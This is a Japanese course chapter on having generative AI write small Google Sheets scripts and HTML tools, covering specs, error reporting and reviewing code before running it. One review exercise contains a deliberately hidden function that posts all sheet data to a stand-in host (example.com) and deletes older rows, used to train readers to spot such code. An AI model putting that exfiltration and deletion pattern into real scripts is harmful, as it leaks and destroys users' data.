目安時間: 約150分 ・ 読了目安: 32分

この章で学ぶこと

生成AIを使えば、プログラミングの経験が少なくても、業務用の小さなツールを作れるようになりました。 ただし、「作ってほしいものを一言で頼み、出てきたコードをそのまま動かす」やり方は危険です。 動かないだけならまだしも、意図しないファイルの変更や、データの外部送信につながることもあります。

この章では、簡易ツールの作成を題材に、次の3つを練習します。

  • コードを書かせる前に、仕様(何をするツールか)を固める
  • エラーが出たとき、AIが原因を特定できる情報を渡す
  • 他人(またはAI)が書いたコードを、実行する前にレビューする

第1章の5要素(目的・入力・制約・出力形式・検証)は、この章でも使います。 素材はすべて架空のものです。 本コースは実務練習用の教材です。AIの出力は必ず人が検証してください。

コードを動かす前に、必ずテスト用のコピー(複製したシートやフォルダ)で試してください。 本物のデータで初めて動かすのは、動作を確認してからです。

この章の前提

この章は、「すでに、自分で作ったプログラムやアプリを、自分のパソコンで起動できる人」を対象にしています。 AIにプログラムを書かせることはできても、ターミナル、ライブラリの取得、GitHubといった用語が分からず、動かす手前で止まる人は多いものです。 書いたプログラムを、自分のパソコンで動かして確かめられなければ、この章の練習は成り立ちません。

この章の題材(Googleスプレッドシートのスクリプト、ブラウザで開くHTML)は、特別な環境づくりを必要としません。 それでも、「コードを貼り付けて動かし、結果を確かめる」という作業に慣れていることが前提です。

その作業が初めてという方は、先に、事前準備編のコラム生成AIでプログラミングをするための事前準備から始めてください。 Pythonの定番の題材(TODOアプリ)を、AIと対話しながら、自分のパソコンで動かすところまでを体験できます。

このユースケースが起きる場面

スプレッドシートの期限管理、毎週のメール通知、ファイルの名前の一括変更。 「手作業だと面倒だが、専用のシステムを作るほどではない」作業は、職場に多くあります。

AIを使うと、次のような失敗が起きます。

  • 曖昧な依頼から、意図と違う動きのツールができる
  • エラーが出ても、AIに正しい情報を渡せず、堂々巡りになる
  • 動くコードが、実は、意図していない処理(削除・外部送信など)を含んでいる

コードを書く力が少なくても、仕様を書く力、確認する力があれば、これらは防げます。

プロンプト設計シート(再掲)

**目的**:誰に・何のために・何を作るか
**入力**:AIに渡す素材は何か(機密は伏せたか)
**制約**:やってはいけないこと・守るルール
**出力形式**:表・箇条書き・文字数など
**検証**:出力が正しいか、何と突き合わせるか

コードの依頼では、「制約」に、実行環境と、してはいけない操作(削除・外部送信・共有設定の変更など)を入れることが特に大切です。

どのAIに頼むか:Googleスプレッドシートなら、Geminiが近道

この章の題材は、Googleスプレッドシートです。 Googleのサービス(Google Workspace)を使っている職場なら、同じGoogleのAIであるGeminiを使うのが、最も手間の少ない方法です。

スプレッドシートの右上にある「Gemini に相談」のアイコンを押すと、画面の右側にGeminiのチャットが開きます。 ここに依頼を入力すれば、コピーして貼り付ける手間なしで、スプレッドシートに直接作業してもらえます。 公式ヘルプでは、次のようなことができると案内されています。

  • 表や数式、グラフの作成、データの分析
  • 条件付き書式、ピボットテーブル、プルダウン、フィルタ、検索と置換の操作

たとえば、この章の実例(期限が近いタスクの行に色を付ける)は、スクリプトを書かなくても、条件付き書式で済む場合があります。 簡単な作業は、まずスプレッドシートのGeminiに頼み、スクリプトが必要になったときに、コードを書かせる、という順序が効率的です。

ただし、次の点に注意してください。

  • スプレッドシートのGeminiを使うには、対象のGoogle WorkspaceまたはGoogle AIのプランへの加入が必要です
  • Googleスプレッドシート形式のファイルで、最も効果的に動きます。Excelのファイルは、「Googleスプレッドシートとして保存」してから使います
  • 会話の履歴は、ブラウザを再読み込みすると失われることがあります。大切な依頼文と結果は、別に控えておきます
  • 「Gemini に相談」などの名称や場所は、更新されることがあります

スクリプト(Google Apps Script)そのものを書く場合は、Apps Scriptのエディタの中にも、Geminiのパネルがあります。 コードの生成、修正、エラーの原因調査ができると、Googleの公式ドキュメントで案内されています。 ただし、この機能は現在ベータ版で、対象の顧客が限られ、英語のみの提供です。使えない場合は、下の方法を使います。

Gemini以外のAIを使う場合や、Geminiが使えない場合の主な方法は、次のとおりです。

方法進め方注意点
ChatGPTやClaudeなどのチャットスプレッドシートを、CSVやExcelのファイルとして保存し、AIに添付して依頼する。または、列構成とサンプル行を貼り付けるシートの中身を、外部のAIに渡すことになる。機密を伏せ、社内のAI利用ルールを確認する
ファイルを直接読み書きするAI(Claude Code、Codexなど)パソコン上のファイルを、AIが直接読み、書き換える事前準備が必要(この章の前提を参照)。元のファイルは、必ずコピーを取ってから使う

どの方法でも、生成されたコードや数式は、テスト用のコピーで試してから、本物のデータに使うという原則は変わりません。

実例:期限が近いタスクの行に、色を付ける

状況と素材

あなたは、チームのタスク管理をGoogleスプレッドシートで行っています。 「期限が3日以内で、まだ完了していないタスクの行に、色を付けたい」と考えています。

シート名:タスク

A列:タスク B列:担当 C列:期限(日付) D列:状態
※1行目は見出し

タスク    担当  期限        状態
資料作成  山田  2026/10/8   進行中
見積提出  井上  2026/10/6   未着手
報告書    中村  2026/10/2   完了

悪い指示とその失敗

期限が近いタスクに色を付けるスクリプトを書いて。

返ってくるのは、次のようなものです。

以下のスクリプトを、スプレッドシートに貼り付けて実行してください。(コードのみが示される)

失敗は、次の3点です。

  • 「期限が近い」が何日以内か、AIが勝手に決めている
  • 完了したタスクを対象に含めるかが、決まっていない
  • シート名・列の構成が、AIの想定と違っても、気づけない

コードは動いても、意図とは違う動きをするかもしれません。

改善したプロンプト

あなたは、Google Apps Scriptに詳しい担当者です。以下の仕様のスクリプトを作成してください。

**目的**
タスク管理のシートで、期限が3日以内で、まだ完了していないタスクの行に、背景色を付ける。

**入力**
Googleスプレッドシート。シート名は「タスク」。
A列:タスク、B列:担当、C列:期限(日付)、D列:状態。1行目は見出し。
(サンプル行を貼る)

**制約**
- 「期限が3日以内」は、今日から3日後までとする。期限を過ぎているものも含める
- D列が「完了」の行は、色を付けない(既に色があれば、消す)
- シートの中身を、削除・変更しない(背景色の変更のみ)
- 外部への通信・メール送信は行わない
- コードには、各処理の意図がわかる短いコメントを付ける

**出力形式**
1. 実行前に確認したい点(あれば、質問として列挙)
2. スクリプト全体
3. 動作確認の手順(テスト用のシートで、どんな行を用意し、どうなれば成功か)

AIの出力と、人が確認した点

このプロンプトには、まず「確認したい点」が返ってきます。

確認したい点:①「期限が今日」の行は対象に含めますか。②「状態」が空欄の行は、未完了として扱いますか。

質問に答えてから、コードを受け取ります。次は、AIの出力例です。

function highlightDeadlines() {
  const sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('タスク');
  const values = sheet.getDataRange().getValues();
  const today = new Date();
  today.setHours(0, 0, 0, 0);

  // 2行目以降(1行目は見出し)を順に調べる
  for (let i = 1; i < values.length; i++) {
    const deadline = new Date(values[i][2]);
    const status = values[i][3];
    const diffDays = Math.ceil((deadline - today) / (1000 * 60 * 60 * 24));
    const range = sheet.getRange(i + 1, 1, 1, 4);

    // 未完了で、期限が3日以内(期限切れも含む)なら色を付ける
    if (status !== '完了' && diffDays <= 3) {
      range.setBackground('#ffe0e0');
    } else {
      range.setBackground(null);
    }
  }
}

人が確認する点は、次のとおりです。

  • コードの全体を読み、削除・外部送信などの処理(deleteRow、UrlFetchApp、MailAppなど)が含まれていないか
  • 各行の意図が、コメントと合っているか
  • テスト用のシートで、期限が今日、3日後、4日後、過去、完了済みの5パターンを用意し、意図どおりの色になるか

コードの意味が完全には分からなくても、「何をしているか」を、AIに一行ずつ説明させて、確認できます。

設計メモ:なぜこの書き方か

要素実例での書き方効いた理由
目的「期限が3日以内で、未完了の行に色を付ける」1つの機能に絞ると、間違いにくい
入力シート名・列構成・サンプル行AIが構造を推測しなくてよくなる
制約「期限切れを含む」「完了は対象外」「削除・外部通信しない」曖昧な仕様を先に固め、危険な操作を禁止した
出力形式質問→コード→テスト手順コードを書く前に、仕様の穴が見つかる
検証テスト用のシートで、5パターンを確認境界の条件(今日・3日後・4日後)を試せる

コードを依頼する前に、「確認したい点を質問して」と頼むのは、非常に効果的です。 AIは、質問の機会がないと、曖昧なところを自分で決めて進めてしまいます。

練習問題

進め方は全問共通です。

  1. 素材を読み、プロンプト設計シートの5要素を自分で埋める(AIはまだ使わない)
  2. 埋めた内容をもとにプロンプトを書き、普段使うAIで実行する
  3. 出力をルーブリックで自己採点する
  4. 解説を開き、自分の設計と比べる

コードは、テスト用のコピーで試してください。本物のデータや、共有中のファイルで、最初から試してはいけません。

問1 曖昧な要望を、仕様に落とす

状況:上司から、「毎週月曜に、未完了のタスクを担当者に、メールで知らせる仕組みを作れないか」と頼まれました。まだ、要件は曖昧です。

成果物:仕様の確認事項リスト(質問)と、仕様の案。この問題では、コード自体は作りません。

【上司の要望】
毎週月曜に、未完了のタスクを担当者にメールで知らせたい。

【現状の情報】
- タスクは、この章の実例と同じスプレッドシートで管理している
- 担当者のメールアドレスは、まだシートに入っていない
- メールが多すぎると、みんな読まなくなるので、それは避けたい
ルーブリック(自己採点)
  • 確認事項に、「メールアドレスの管理場所」「送信のタイミング(何時か)」「未完了の定義」が含まれている
  • 確認事項に、「期限切れのタスクを含めるか」「1人に1通にまとめるか」が含まれている
  • 仕様の案に、「入力(シートの列)」「処理」「出力(メールの件名・本文の例)」がある
  • 制約に、「最初のテストは、自分宛のみに送信する」が含まれている
  • プロンプトで、「コードを書く前に、仕様の質問をして」と指示した
よくある失敗と解説

この問題のねらいは、コードを書く前に、仕様の穴を、AIと一緒に洗い出すことです。 「メールを送る」ツールは、間違えると、たくさんの人に誤ったメールが届きます。 実行前の確認が、他の章より、重要になります。

使える依頼の型は次のとおりです。

以下の要望を実現するツールを作りたいです。コードを書く前に、仕様を固めるために、確認すべき点を質問として列挙してください。

**制約**
- 質問は、重要度の高い順に、10個以内
- 各質問には、「もしこの点が曖昧だと、どんな問題が起きるか」を添える
- 私が答えるまで、コードは書かない

質問に答えていくと、それがそのまま仕様書になります。 最初のテストは、自分宛のみに送るという制約は、動作確認の基本です。

問2 エラーを、AIに正しく伝える

状況:実例のスクリプトを、シートに貼り付けて実行したところ、エラーが出ました。

成果物:AIに原因を調べさせるためのプロンプト。

【エラーメッセージ】
TypeError: Cannot read properties of null (reading 'getDataRange')

【状況】
- 実例のスクリプト(highlightDeadlines)を、シートに貼り付けて実行した
- エラーは、関数の3行目の const values = sheet.getDataRange().getValues(); で出ている
- 実際のシートのタブの名前は、「タスク一覧」である

(コードは、実例で示したものです)

ルーブリック(自己採点)
  • エラーメッセージを、全文そのまま含めた
  • コードの全文を含めた(一部だけを抜き出していない)
  • 「何をしようとして、何が起きたか」(どの操作で、どこで)を書いた
  • 実際のシート名(タスク一覧)と、コード上のシート名(タスク)の違いに、AIが気づけるよう情報を渡した
  • 「修正は、1箇所ずつ提案して」と制約に入れた
よくある失敗と解説

エラー修正が堂々巡りになる、最大の原因は、AIに渡す情報が足りないことです。 「エラーが出ました。直して」だけでは、AIは想像で修正案を出します。

渡すべき情報は、次の5点です。

  • エラーメッセージの全文
  • コードの全文
  • どの操作をしたときに、どこで起きたか
  • 実行環境(Googleスプレッドシート、Excelなど)
  • 実際のデータ構造(シート名や列の構成)

今回の原因は、コード上のシート名(「タスク」)と、実際のシート名(「タスク一覧」)の不一致です。 getSheetByNameが、見つからずにnullを返し、次の行でnullに対してgetDataRangeを呼んで、エラーになりました。

もう一つのコツは、「修正は1箇所ずつ」と指示することです。 一度に何箇所も直すと、どの修正が効いたのか分からなくなります。

Tips:エラーは、つきもの。質問して直す力が大切

プログラミングでは、エラーが出るのが当たり前です。AIが書いたコードでも同じです。 大切なのは、エラーを恐れることではなく、エラーメッセージをコピーしてAIに質問し、必要に応じて修正する作業を、ためらわずに繰り返せることです。

ツールによっては、このコピーと貼り付けの手間を減らせます。 たとえば、AIを組み込んだコードエディタのCursorでは、ターミナルに表示された出力にカーソルを合わせたり、選択したりすると、「Add to Chat」「Debug with AI」といったボタンが表示され、エラー文をAIのチャットに直接送れます(Cursorの公式フォーラムで案内されている機能です。表示や操作は、バージョンによって変わることがあります)。 エラー文とコードを並べてAIに見せられるので、どこを直せばよいかを、指示しやすくなります。 Cursorには、無料のプラン(利用量に上限があります)も用意されています。

自動で送れる機能があっても、次の点は変わりません。

  • 「何をしようとして、そのエラーが出たのか」は、自分の言葉で添える
  • 修正案は、1箇所ずつ試し、そのたびに動かして確かめる
  • 直った後の動作も、テスト用のコピーで確認する

問3 他人が書いたコードを、実行する前にレビューする

状況:同僚から、「このスクリプトを、見積の集計に使うと便利」と、コードを渡されました。実行する前に、安全かどうかを確認します。

成果物:AIにレビューさせるプロンプトと、危険な処理の指摘。

function summarizeEstimates() {
  const sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('見積');
  const values = sheet.getDataRange().getValues();
  let total = 0;
  for (let i = 1; i < values.length; i++) {
    total += values[i][3];
  }
  sheet.getRange('F1').setValue(total);

  // 送信用のバックアップ
  UrlFetchApp.fetch('https://example.com/collect', {
    method: 'post',
    payload: JSON.stringify(values),
  });

  // 古い行の削除
  for (let i = values.length - 1; i >= 1; i--) {
    if (values[i][0] < new Date('2026-01-01')) {
      sheet.deleteRow(i + 1);
    }
  }
}
ルーブリック(自己採点)
  • UrlFetchApp.fetchが、シートの全データを外部(example.com)に送信していることを指摘できた
  • sheet.deleteRowが、2026年1月1日より前の行を削除していることを指摘できた
  • 「見積の集計」という目的に対して、外部送信と削除は不要な処理であると判断できた
  • レビューのプロンプトに、「データを外部に送る処理」「削除する処理」「必要な権限」を列挙させる指示を入れた
  • 危険な処理があるコードは、実行せずに、渡してくれた人に確認する、と設計した
よくある失敗と解説

このコードは、見積の合計を出す処理の後ろに、目的と関係のない、外部送信と削除が隠れています。 実際の職場でも、便利なコードに、意図しない処理が入っていることがあります。

レビューの依頼は、次の形が使えます。

以下のコードを、実行する前にレビューしてください。

**依頼**
1. コード全体が何をするかを、処理の順に、1行ずつ説明する
2. 次の処理が含まれていれば、該当する行を引用して指摘する
   - データを外部に送信する処理
   - データやファイルを削除・変更する処理
   - 共有設定や権限を変更する処理
3. このコードを実行するのに必要な権限を、列挙する
4. 「見積の合計を計算する」という目的に対して、不要な処理を挙げる

**制約**
- コードを修正しない。指摘のみ
- 分からない点は、「不明」と書く

AIのレビューは、参考になりますが、完全ではありません。 重要なデータを扱うコードは、最終的に、詳しい人にも確認してもらってください。

問4 簡易ツールを作り、テストで確かめる

状況:入社日から、勤続の満年数を計算する、1つのHTMLファイルのツールを作ります。ブラウザで開くだけで、使えるものです。

成果物:仕様の依頼プロンプト(テストケースを含む)と、テスト結果の記録。

【仕様の案】
- 入力:入社日、基準日(どちらも日付)
- 出力:勤続の満年数(例:6年)
- 入力が正しくない場合(基準日が入社日より前など)は、エラーメッセージを表示する

【テストケース】
- 入社日 2020-04-01、基準日 2026-09-29 → 6年
- 入社日 2020-10-01、基準日 2026-09-29 → 5年(記念日の前なので、まだ満6年ではない)
- 入社日 2020-09-29、基準日 2026-09-29 → 6年(ちょうど記念日)
- 入社日 2026-10-01、基準日 2026-09-29 → エラーメッセージを表示
ルーブリック(自己採点)
  • 入力・出力・エラー時の動作を、プロンプトに書いた
  • テストケース4つ(境界の条件を含む)を、AIに先に渡した
  • 制約に、「1つのHTMLファイルで完結する」「外部への通信をしない」を入れた
  • 作られたツールを、実際にブラウザで開き、4つのテストケースをすべて試した
  • 1つでも期待と違えば、その入力と結果をAIに伝えて修正させた
よくある失敗と解説

この問題で覚えたいのは、先にテストケースを用意することです。 「満年数」の計算は、記念日の前後で結果が変わるため、間違いやすい分野です。 AIが作ったコードは、一見動いていても、境界の条件で誤ることがあります。

テストケースを、最初にAIに渡すことには、2つの効果があります。

  • AIが、境界の条件を意識して、コードを組み立てやすくなる
  • 出力された後、自分で確かめる手順が、最初から決まっている

もう一つの制約が、「1つのHTMLファイルで完結し、外部通信をしない」です。 外部のライブラリを読み込むコードは、意図しない通信につながる可能性があります。 社内で使うツールは、まず、外部と通信しない形で作ってください。

プロンプト設計の確認問題

ここまでの内容を、選択式で確認しましょう。

問1. 業務用のスクリプトをAIに作らせるとき、コードを書かせる前に「確認したい点を質問して」と頼むことの利点として、最も適切なものはどれか。

問2. スクリプトを実行したらエラーが出た。AIに原因を調べさせるために渡す情報として、最も適切な組み合わせはどれか。

問3. 同僚から渡された「集計用」のスクリプトに、シートの全データを外部のURLに送信する処理が含まれていた。対応として最も適切なものはどれか。

問4. 満年数を計算する簡易ツールをAIに作らせるとき、「入社記念日の前日」「ちょうど記念日」のようなテストケースを先に渡す理由として、最も適切なものはどれか。

繰り返し使う制約は、AIに登録して短くする

この章のプロンプトは、制約を毎回書き込む形で練習しました。 同じ業務を繰り返すなら、変わらない制約は、AIにあらかじめ登録しておくことで、依頼を短くできます。

この章で登録しておくとよいのは、実行環境と「削除・外部送信をしない」という禁止事項、コードを書く前に仕様を質問させる進め方です。 ChatGPT・Claude・Geminiでの登録手順は、生成AIに社内ルールを覚えさせるスキル設定のやり方で解説しています。 登録しても、最終確認は人が行うことに変わりはありません。

自分の職場に置き換える

この章の型を、自分の仕事に当てはめます。

  1. 手作業で行っている、小さな繰り返し作業を1つ選ぶ
  2. 「コードを書く前に、仕様の質問をして」とAIに頼み、質問に答えて仕様を固める
  3. 実行環境(Googleスプレッドシート、Excel、ブラウザなど)と、してはいけない操作を、制約に入れる
  4. 出てきたコードを、AIに一行ずつ説明させ、テスト用のコピーで、境界の条件を試す

仕上げに、S.E.L.F.ループの「F(Forge it)」として、作ったツールの使い方と注意点を、同僚向けに書いてみてください。 書けない部分が、まだ理解できていない部分です。

この章のまとめ

  • コードを書かせる前に、AIに仕様の質問をさせ、曖昧な点を先に潰す
  • 実行環境と、してはいけない操作(削除・外部送信・共有設定の変更)を、制約に書く
  • エラーは、メッセージ全文・コード全文・状況・環境・データ構造の5点を渡す。修正は1箇所ずつ
  • 他人やAIが書いたコードは、実行前に、外部送信・削除・権限をレビューする
  • テストケースを先に用意し、境界の条件で確かめる。テストは、必ずコピーで行う

次の章では、運用(ログ解析・障害報告・手順書)を題材に、「事実と仮説を分けて書く」練習をします。